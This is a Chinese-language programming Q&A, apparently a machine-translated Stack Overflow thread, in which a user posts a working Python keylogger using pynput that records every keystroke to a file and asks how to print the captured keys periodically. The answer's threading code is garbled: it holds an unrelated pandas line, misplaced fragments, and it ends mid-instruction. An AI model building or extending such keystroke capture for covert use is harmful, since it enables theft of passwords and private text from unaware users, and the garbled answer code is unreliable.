因此,我基本上是使用Python制作键盘记录程序,但我希望间隔一段时间(例如每分钟(或者更困难的是每15个字符))在控制台中打印出记录的字符。但是我不知道该怎么做,首先:将登录的键保存为可以打印的字符串,其次如何在一定间隔内将其打印出来。
代码在这里:
from pynput.keyboard import Key, Listener
import logging
logging.basicConfig(filename='log.txt', level=logging.INFO, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(key)
with Listener(on_press=on_press) as listener:
listener.join()
打印出的日志应如下所示(与文件中的相同):
2020-06-14 23:50:00,875: 'E'
2020-06-14 23:50:01,575: 'x'
2020-06-14 23:50:01,918: 'a'
2020-06-14 23:50:02,464: 'm'
2020-06-14 23:50:03,225: 'p'
2020-06-14 23:50:03,464: 'l'
2020-06-14 23:50:03,765: 'e'
答案 0 :(得分:0)
我建议设置一个后台线程。您可以使用df_out=s1.div(s2).reset_index()
将对象传递给它。
Queue
然后您将import threading
import queue
import time
def emptyQueue(q):
letters = []
while not q.empty():
letters.append(q.get())
if letters:
logging.info(', '.join(letters))
def backgroundLogger(q, shouldEnd):
while not shouldEnd.wait(60):
emptyQueue(q)
emptyQueue(q)
q = queue.Queue()
killBackground = threading.Event()
t = threading.Thread(target=backgroundLogger, args=(q, killBackground))
t.start()
行更改为
with
程序完成后,运行
with Listener(on_press=q.put) as listener: